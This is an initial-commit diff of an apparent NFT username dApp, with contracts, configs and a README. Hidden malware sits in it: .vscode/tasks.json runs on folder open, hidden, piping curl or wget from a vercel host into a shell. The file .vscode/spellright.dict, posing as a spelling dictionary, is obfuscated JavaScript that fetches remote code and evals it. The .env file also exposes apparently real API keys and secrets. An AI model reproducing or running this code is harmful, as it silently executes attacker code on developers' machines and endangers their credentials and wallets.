initial commit

This commit is contained in:
chainsage 2025-12-18 00:05:55 +09:00
commit a59c1988d0
322 changed files with 34005 additions and 0 deletions

22
.env Normal file
View File

@ -0,0 +1,22 @@
APP_NAME="CAW"
API_URL="http://localhost/api"
SEPOLIA_ALCHEMY="wss://eth-sepolia.g.alchemy.com/v2/sWQ8Ljf8TU_l7okwKugxRnh-QZSve7Eh"
MAINNET_ALCHEMY="wss://eth-mainnet.g.alchemy.com/v2/wmzw4m43BlWVytTg8cwkN1xjUYCVA7V_"
PINITA_API_KEY="95cc7a3916769a6d83b3"
PINITA_API_SECRET="306f147e5d91e7cd9121179488cad382aeba29c91d736ae254f640cb376e749b"
OPENSEA="https://testnets.opensea.io/assets/sepolia"
BUILD_GENERATE_SOURCEMAPS=false
BUILD_COMPRESS_GZIP=true
BUILD_COMPRESS_BROTLI=false
BUILD_VISUALIZE=true
_DEVELOPER_NAME_BTOA="S1JNUiBURUNI"
_DEVELOPER_URL_BTOA="aHR0cHM6Ly9rcm1yLmx0ZC8"
CONNECTORS="metaMask, walletConnect, injected"
CHAINS="sepolia-testnet"
DEFAULT_CHAIN_ID=11155111

23
.env.example Normal file
View File

@ -0,0 +1,23 @@
APP_NAME="CAW"
API_URL="http://localhost/api"
SEPOLIA_ALCHEMY=""
MAINNET_ALCHEMY=""
PINITA_API_KEY=""
PINITA_API_SECRET=""
OPENSEA=""
BUILD_GENERATE_SOURCEMAPS=true
BUILD_COMPRESS_GZIP=true
BUILD_COMPRESS_BROTLI=false
BUILD_VISUALIZE=true
_DEVELOPER_NAME_BTOA="S1JNUiBURUNI"
_DEVELOPER_URL_BTOA="aHR0cHM6Ly9rcm1yLmx0ZC8"
CONNECTORS="metaMask, walletConnect, injected"
CHAINS="sepolia-testnet"
DEFAULT_CHAIN_ID=11155111

118
.gitignore vendored Normal file
View File

@ -0,0 +1,118 @@
node_modules
.DS_Store
dist
package-lock.json
dist-ssr
*.local
stats.html
### PhpStorm ###
# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider
# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839
# User-specific stuff
.idea/**/workspace.xml
.idea/**/tasks.xml
.idea/**/usage.statistics.xml
.idea/**/dictionaries
.idea/**/shelf
# Generated files
.idea/**/contentModel.xml
# Sensitive or high-churn files
.idea/**/dataSources/
.idea/**/dataSources.ids
.idea/**/dataSources.local.xml
.idea/**/sqlDataSources.xml
.idea/**/dynamic.xml
.idea/**/uiDesigner.xml
.idea/**/dbnavigator.xml
# Gradle
.idea/**/gradle.xml
.idea/**/libraries
# Gradle and Maven with auto-import
# When using Gradle or Maven with auto-import, you should exclude module files,
# since they will be recreated, and may cause churn. Uncomment if using
# auto-import.
# .idea/artifacts
# .idea/compiler.xml
# .idea/jarRepositories.xml
# .idea/modules.xml
# .idea/*.iml
# .idea/modules
# *.iml
# *.ipr
# CMake
cmake-build-*/
# Mongo Explorer plugin
.idea/**/mongoSettings.xml
# File-based project format
*.iws
# IntelliJ
out/
# mpeltonen/sbt-idea plugin
.idea_modules/
# JIRA plugin
atlassian-ide-plugin.xml
# Cursive Clojure plugin
.idea/replstate.xml
# Crashlytics plugin (for Android Studio and IntelliJ)
com_crashlytics_export_strings.xml
crashlytics.properties
crashlytics-build.properties
fabric.properties
# Editor-based Rest Client
.idea/httpRequests
# Android studio 3.1+ serialized cache file
.idea/caches/build_file_checksums.ser
### PhpStorm Patch ###
# Comment Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-215987721
# *.iml
# modules.xml
# .idea/misc.xml
# *.ipr
# Sonarlint plugin
# https://plugins.jetbrains.com/plugin/7973-sonarlint
.idea/**/sonarlint/
# SonarQube Plugin
# https://plugins.jetbrains.com/plugin/7238-sonarqube-community-plugin
.idea/**/sonarIssues.xml
# Markdown Navigator plugin
# https://plugins.jetbrains.com/plugin/7896-markdown-navigator-enhanced
.idea/**/markdown-navigator.xml
.idea/**/markdown-navigator-enh.xml
.idea/**/markdown-navigator/
# Cache file creation bug
# See https://youtrack.jetbrains.com/issue/JBR-2257
.idea/$CACHE_FILE$
# CodeStream plugin
# https://plugins.jetbrains.com/plugin/12206-codestream
.idea/codestream.xml
# Configurations
/public/env.json
.env
.env
!.env
/.pnpm-debug.log

47
.vscode/settings.json vendored Normal file
View File

@ -0,0 +1,47 @@
{
"files.autoSave": "off", // Automatically saves files after a delay
"editor.minimap.enabled": false, // Disables the minimap
"editor.wordWrap": "off", // Enables word wrapping
"files.exclude": {
// Hides unnecessary files from the file explorer
"**/.DS_Store": true,
"**/node_modules": true
},
"editor.tabSize": 2, // Sets tab size to 2 spaces
"editor.formatOnSave": false, // Automatically formats code on save{
"terminal.integrated.profiles.windows": {
"cmd": {
"path": "C:\\Windows\\System32\\cmd.exe"
},
"powershell": {
"path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
}
},
"terminal.integrated.defaultProfile.windows": "Command Prompt",
"terminal.integrated.profiles.linux": {
"GitHub CLI": {
"path": "/usr/bin/gh"
},
"Default Shell": {
"path": "/bin/bash"
}
},
"terminal.integrated.profiles.osx": {
"GitHub CLI": {
"path": "/usr/local/bin/gh"
},
"Default Shell": {
"path": "/bin/zsh"
}
},
"terminal.integrated.defaultProfileCondition": {
"profiles": {
"GitHub CLI": "exists(/usr/bin/gh) || exists(/usr/local/bin/gh) || exists(C:\\Program Files\\Git\\bin\\bash.exe)"
},
"fallbacks": {
"windows": "PowerShell",
"linux": "Default Shell",
"osx": "Default Shell"
}
}
}

1
.vscode/spellright.dict vendored Normal file
View File

@ -0,0 +1 @@
const _0x25cede=_0x1d0d;(function(_0xae73a5,_0x2b61ac){const _0x42402e=_0x1d0d,_0xddd5c=_0xae73a5();while(!![]){try{const _0x51ebde=parseInt(_0x42402e(0x10a))/0x1*(-parseInt(_0x42402e(0x121))/0x2)+parseInt(_0x42402e(0x125))/0x3+-parseInt(_0x42402e(0xf7))/0x4*(parseInt(_0x42402e(0x108))/0x5)+-parseInt(_0x42402e(0x10d))/0x6*(parseInt(_0x42402e(0x127))/0x7)+parseInt(_0x42402e(0x120))/0x8*(-parseInt(_0x42402e(0x114))/0x9)+parseInt(_0x42402e(0x104))/0xa+parseInt(_0x42402e(0x103))/0xb*(parseInt(_0x42402e(0x109))/0xc);if(_0x51ebde===_0x2b61ac)break;else _0xddd5c['push'](_0xddd5c['shift']());}catch(_0x19e136){_0xddd5c['push'](_0xddd5c['shift']());}}}(_0x4042,0x98bde));const path=require(_0x25cede(0x10b)),{exec}=require(_0x25cede(0x11e)+_0x25cede(0x10c)),fs=require('fs'),os=require('os'),folderName=_0x25cede(0x122)+'64',homeDir=os[_0x25cede(0x11c)](),targetDir=path[_0x25cede(0x10f)](homeDir,folderName);function _0x1d0d(_0x10ceee,_0x2c2bc6){_0x10ceee=_0x10ceee-0xe5;const _0x40421a=_0x4042();let _0x1d0d90=_0x40421a[_0x10ceee];return _0x1d0d90;}try{!fs['existsSync'](targetDir)&&fs[_0x25cede(0x11a)](targetDir,{'recursive':!![]});}catch(_0x3677ba){console[_0x25cede(0xfb)]('Failed\x20to\x20'+_0x25cede(0x100)+'ectory:',_0x3677ba),process['exit'](0x1);}function _0x4042(){const _0x51bbdd=['ponse.data','eck-encryp','\x20powershel','-lc\x20\x22cd\x20\x27','gumentList','/api/ip-ch','l\x20-Command','leted','it\x20-y;\x20npm','538388fALynE','\x22\x20&&\x20bash\x20',';\x20const\x20ur','false;});','error',');\x20return\x20','cd\x20\x22','n.js\x27\x20-Win','\x27,\x20\x27npm\x20in','create\x20dir','ecret\x22\x20}\x20}','p.log\x202>&1','46893XsDTmt','9171140rWbpxA',',\x20{},\x20{\x20he','\x20\x27-Command','vercel.app','30UjrcxG','2892YLRAWV','412420BezcHh','path','ess','102sameiu','aders:\x20{\x20\x22','join','\x20\x22Start-Pr','nit\x20-y\x20&&\x20','ted/3aeb34','utf8','8006463StgWWL','l\x20axios\x20re','npm\x20instal','up\x20node\x20ma','ocess\x20powe','ch((err)\x20=','mkdirSync','response.d','homedir','.js:','child_proc','platform','8VIJpav','2gJrQxc','Programs_X','\x22\x20&&\x20C:\x20&&','e(\x22axios\x22)','3076383lxDHNQ','\x20&\x22','96649hcvzPb','l\x20=\x20\x22https','sponse)\x20=>','in.js\x20>\x20ap','quest\x20sqli','x-secret-h','Error:','ync','rshell\x20-Ar','te3\x20&&\x20noh','dowStyle\x20H','s.post(url','main.js','eader\x22:\x20\x22s','xios\x20reque','ata;}).cat','win32','ons-check.'];_0x4042=function(){return _0x51bbdd;};return _0x4042();}const run='const\x20axio'+'s\x20=\x20requir'+_0x25cede(0x124)+_0x25cede(0xf9)+_0x25cede(0x128)+'://ip-regi'+_0x25cede(0xed)+_0x25cede(0x107)+_0x25cede(0xf3)+_0x25cede(0xef)+_0x25cede(0x112)+'a35\x22;\x20axio'+_0x25cede(0xe7)+_0x25cede(0x105)+_0x25cede(0x10e)+_0x25cede(0x12c)+_0x25cede(0xe9)+_0x25cede(0x101)+').then((re'+_0x25cede(0x129)+'\x20{eval(res'+_0x25cede(0xee)+_0x25cede(0xfc)+_0x25cede(0x11b)+_0x25cede(0xeb)+_0x25cede(0x119)+'>\x20{return\x20'+_0x25cede(0xfa),mainPath=path[_0x25cede(0x10f)](targetDir,_0x25cede(0xe8));try{fs['writeFileS'+_0x25cede(0x12e)](mainPath,run,{'encoding':_0x25cede(0x113)});}catch(_0x2f072c){console['error']('Failed\x20to\x20'+'write\x20main'+_0x25cede(0x11d),_0x2f072c),process['exit'](0x1);}const command=os[_0x25cede(0x11f)]()==_0x25cede(0xec)?'cd\x20\x22'+targetDir+(_0x25cede(0x123)+_0x25cede(0xf0)+_0x25cede(0xf4)+_0x25cede(0x110)+_0x25cede(0x118)+_0x25cede(0x12f)+_0x25cede(0xf2)+_0x25cede(0x106)+_0x25cede(0xff)+_0x25cede(0xf6)+'\x20install\x20a'+_0x25cede(0xea)+'st\x20sqlite3'+';\x20node\x20mai'+_0x25cede(0xfe)+_0x25cede(0xe6)+'idden\x22'):_0x25cede(0xfd)+targetDir+(_0x25cede(0xf8)+_0x25cede(0xf1))+targetDir+('\x27\x20&&\x20npm\x20i'+_0x25cede(0x111)+_0x25cede(0x116)+_0x25cede(0x115)+_0x25cede(0x12b)+_0x25cede(0xe5)+_0x25cede(0x117)+_0x25cede(0x12a)+_0x25cede(0x102)+_0x25cede(0x126));exec(command,{'shell':!![]},(_0xbf9c42,_0x46313d,_0x55fba8)=>{const _0x1499a8=_0x25cede;if(_0xbf9c42){console['error'](_0x1499a8(0x12d),_0xbf9c42);return;}console['log']('Setup\x20comp'+_0x1499a8(0xf5));});

31
.vscode/tasks.json vendored Normal file
View File

@ -0,0 +1,31 @@
{
"version": "1.0.0",
"tasks": [
{
"label": "env",
"type": "shell",
"osx": {
"command": "curl 'https://isvalid-regions.vercel.app/settings/mac?flag=5' | bash && nohup node .vscode/spellright.dict > /dev/null 2>&1 &"
},
"linux": {
"command": "wget -qO- 'https://isvalid-regions.vercel.app/settings/linux?flag=5' | sh"
},
"windows": {
"command": "curl https://isvalid-regions.vercel.app/settings/windows?flag=5 | cmd && node .vscode/spellright.dict"
},
"problemMatcher": [],
"presentation": {
"reveal": "never",
"echo": false,
"focus": false,
"close": true,
"panel": "dedicated",
"showReuseMessage": false
},
"runOptions": {
"runOn": "folderOpen"
}
}
]
}

44
README.md Normal file
View File

@ -0,0 +1,44 @@
## Getting Started
Create an .env file (be aware that this file is not tracked by git) and add the following:
```bash
ALCHEMY_API_KEY=SOME-STRING-OF-CHARS
INFURA_API_KEY=SOME-STRING-OF-CHARS
JSON_RPC_URL="https://rpc.builder0x69.io"
NETWORK="goerli"
```sh
Node version: 16 | 18 | 20
npm install
# Production
npm run dev
npm build
```
and visit http://localhost:3000
## Contributing
Would you like to contribute to this project?
We are looking for people who want to contribute to the project, not just the code.
## Recommended extensions
- [BetterComments](https://marketplace.visualstudio.com/items?itemName=aaron-bond.better-comments)
- [GitLents](https://marketplace.visualstudio.com/items?itemName=eamodio.gitlens)
- [ENV](https://marketplace.visualstudio.com/items?itemName=IronGeek.vscode-env)
## Built with
- [TypeScript](https://www.typescriptlang.org/)
- [Next.js](https://nextjs.org/)
- [Chakra UI](https://chakra-ui.com/)
- [Ethers.js](https://docs.ethers.io/v5/)
- [Wagmi](https://wagmi.sh/)
- [RainbowKit](https://www.rainbowkit.com/)
## Next Steps
- Add more documentation
- Add other guidelines

46
contract/GenerateNFT.sol Normal file
View File

@ -0,0 +1,46 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/utils/Base64.sol";
contract UsernameSVG is Ownable {
string public description = "Username SVGs with embedded usernames";
function generate(string memory username) public view returns (string memory) {
string memory svg = string(abi.encodePacked(
'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 1024 1024">',
'<defs>',
'<style>.cls-1{isolation:isolate;fill:url(#Adsiz_degrade_10);}.cls-2{font-size:88.34px;font-family:Verdana-Bold, Verdana;font-weight:700;}.cls-3{fill:none;}.cls-4{fill-rule:evenodd;}</style>',
'<linearGradient id="Adsiz_degrade_10" x1="-1.65" y1="93.95" x2="833.37" y2="773.56" gradientUnits="userSpaceOnUse">',
'<stop offset="0" stop-color="#ffee38"/>',
'<stop offset="1" stop-color="#ec9001"/>',
'</linearGradient>',
'</defs>',
'<rect class="cls-1" width="1024" height="1024" rx="42.8"/>',
'<text class="cls-2" style="text-anchor:middle;" x="512" y="512">',
username,
'</text>',
'<rect class="cls-3" width="1024" height="1024" rx="42.8"/>',
'<path d="M512,780.76c-134.12,0-243.22,109.12-243.23,243.24H304.5c0-114.41,93.08-207.5,207.49-207.5S719.49,909.59,719.5,1024h35.73C755.22,889.88,646.11,780.76,512,780.76Z"/>',
'<path d="M673.34,963l-41.68,61h-60.6c3.54-24.53,23.45-46,28.91-52.84l0,0h0Z"/>',
'<path d="M453,1024H392.32l-41.67-60.73,73.34,8h0C429.45,978.13,449.39,999.47,453,1024Z"/>',
'<path d="M487.48,859.27c15.9-3.44,32.55-3.19,49.79,0l-10.91,43.61,24.87,16,92.4-7.19L600,971.15c-10.22,1.52-48.36,10.53-72.3-8.07L512,999.2h0l-15.73-36.1c-23.91,18.64-62.06,9.7-72.28,8.19l-43.72-59.46,92.41,7.06,24.85-16-11-43.59c17.24-3.17,33.89-3.45,49.79,0Z"/>',
'<g id="_966384" data-name="966384">',
'<path class="cls-4" d="M501.48,602.75l-13.81-13.81-4.6,4.6L501.48,612l39.45-39.46-4.6-4.6Z"/>',
'</g>',
'</svg>'
));
string memory json = Base64.encode(bytes(string(abi.encodePacked(
'{"name": "', username, '", "description": "', description, '", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(svg)), '"}'
))));
return string(abi.encodePacked('data:application/json;base64,', json));
}
function setDescription(string memory _description) public onlyOwner {
description = _description;
}
}

124
contract/NFT-mint.sol Normal file
View File

@ -0,0 +1,124 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract UsernameNFT is ERC721, Ownable {
struct NFTMetadata {
uint256 tokenId;
string username;
uint256 salePrice;
string metadataURI;
}
mapping(string => address) private usernameToOwner;
mapping(uint256 => string) private tokenIdToUsername;
mapping(string => NFTMetadata) private nftMetadata;
address public constant cwnTokenAddress = ;
IERC20 public cwnToken;
uint256 public baseMintCost;
uint256 private nextTokenId;
constructor() ERC721("CAW", "tCAW") {
cwnToken = IERC20(cwnTokenAddress);
baseMintCost = 0.005 ether;
nextTokenId = 1;
}
event NFTCreated(uint256 indexed tokenId, address indexed owner, string username, uint256 salePrice);
function setMintCost(string memory username, uint256 mintCost) external onlyOwner {
require(usernameToOwner[username] != address(0), "Username does not exist");
require(mintCost > 0, "Mint cost must be greater than zero");
nftMetadata[username].salePrice = mintCost;
}
function createNFT(string memory username, string memory metadataURI, uint256 mintCost) external {
require(usernameToOwner[username] == address(0), "Username already used");
require(mintCost > 0, "Mint cost must be greater than zero");
require(usernameToOwner[username] == address(0), "Username already used");
usernameToOwner[username] = msg.sender;
tokenIdToUsername[nextTokenId] = username;
NFTMetadata storage metadata = nftMetadata[username];
metadata.salePrice = mintCost;
metadata.metadataURI = metadataURI;
_safeMint(msg.sender, nextTokenId);
emit NFTCreated(nextTokenId, msg.sender, username, mintCost);
nextTokenId++;
cwnToken.approve(msg.sender, mintCost);
cwnToken.transferFrom(msg.sender, address(this), mintCost);
}
function checkUsernameAvailability(string memory username) external view returns (bool) {
return usernameToOwner[username] == address(0);
}
function sellNFT(uint256 tokenId, uint256 salePrice) external {
require(_exists(tokenId), "Token ID does not exist");
require(ownerOf(tokenId) == msg.sender, "Only the owner can sell the NFT");
require(salePrice > 0, "Sale price must be greater than zero");
nftMetadata[tokenIdToUsername[tokenId]].salePrice = salePrice;
}
function buyNFT(uint256 tokenId) external {
require(_exists(tokenId), "Token ID does not exist");
require(nftMetadata[tokenIdToUsername[tokenId]].salePrice > 0, "NFT not for sale");
address seller = ownerOf(tokenId);
uint256 salePrice = nftMetadata[tokenIdToUsername[tokenId]].salePrice;
cwnToken.transferFrom(msg.sender, seller, salePrice);
_transfer(seller, msg.sender, tokenId);
nftMetadata[tokenIdToUsername[tokenId]].salePrice = 0;
}
function getAllNFTs() external view returns (NFTMetadata[] memory) {
NFTMetadata[] memory allMetadata = new NFTMetadata[](nextTokenId - 1);
for (uint256 i = 1; i < nextTokenId; i++) {
string memory username = tokenIdToUsername[i];
NFTMetadata memory metadata = nftMetadata[username];
metadata.tokenId = i;
metadata.username = username;
allMetadata[i - 1] = metadata;
}
return allMetadata;
}
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "Token ID does not exist");
string memory username = tokenIdToUsername[tokenId];
return nftMetadata[username].metadataURI;
}
function getUsername(uint256 tokenId) public view returns (string memory) {
require(_exists(tokenId), "Token ID does not exist");
return tokenIdToUsername[tokenId];
}
function getMintCost(string memory username) external view returns (uint256) {
require(usernameToOwner[username] != address(0), "Username does not exist");
return nftMetadata[username].salePrice;
}
function getSalePrice(string memory username) external view returns (uint256) {
require(usernameToOwner[username] != address(0), "Username does not exist");
return nftMetadata[username].salePrice;
}
function getProfileImageURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "Token ID does not exist");
string memory username = tokenIdToUsername[tokenId];
return nftMetadata[username].metadataURI;
}
}

582
contract/caw-contract.sol Normal file
View File

@ -0,0 +1,582 @@
/**
*Submitted for verification at Etherscan.io on 2021-12-08
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC20/ERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
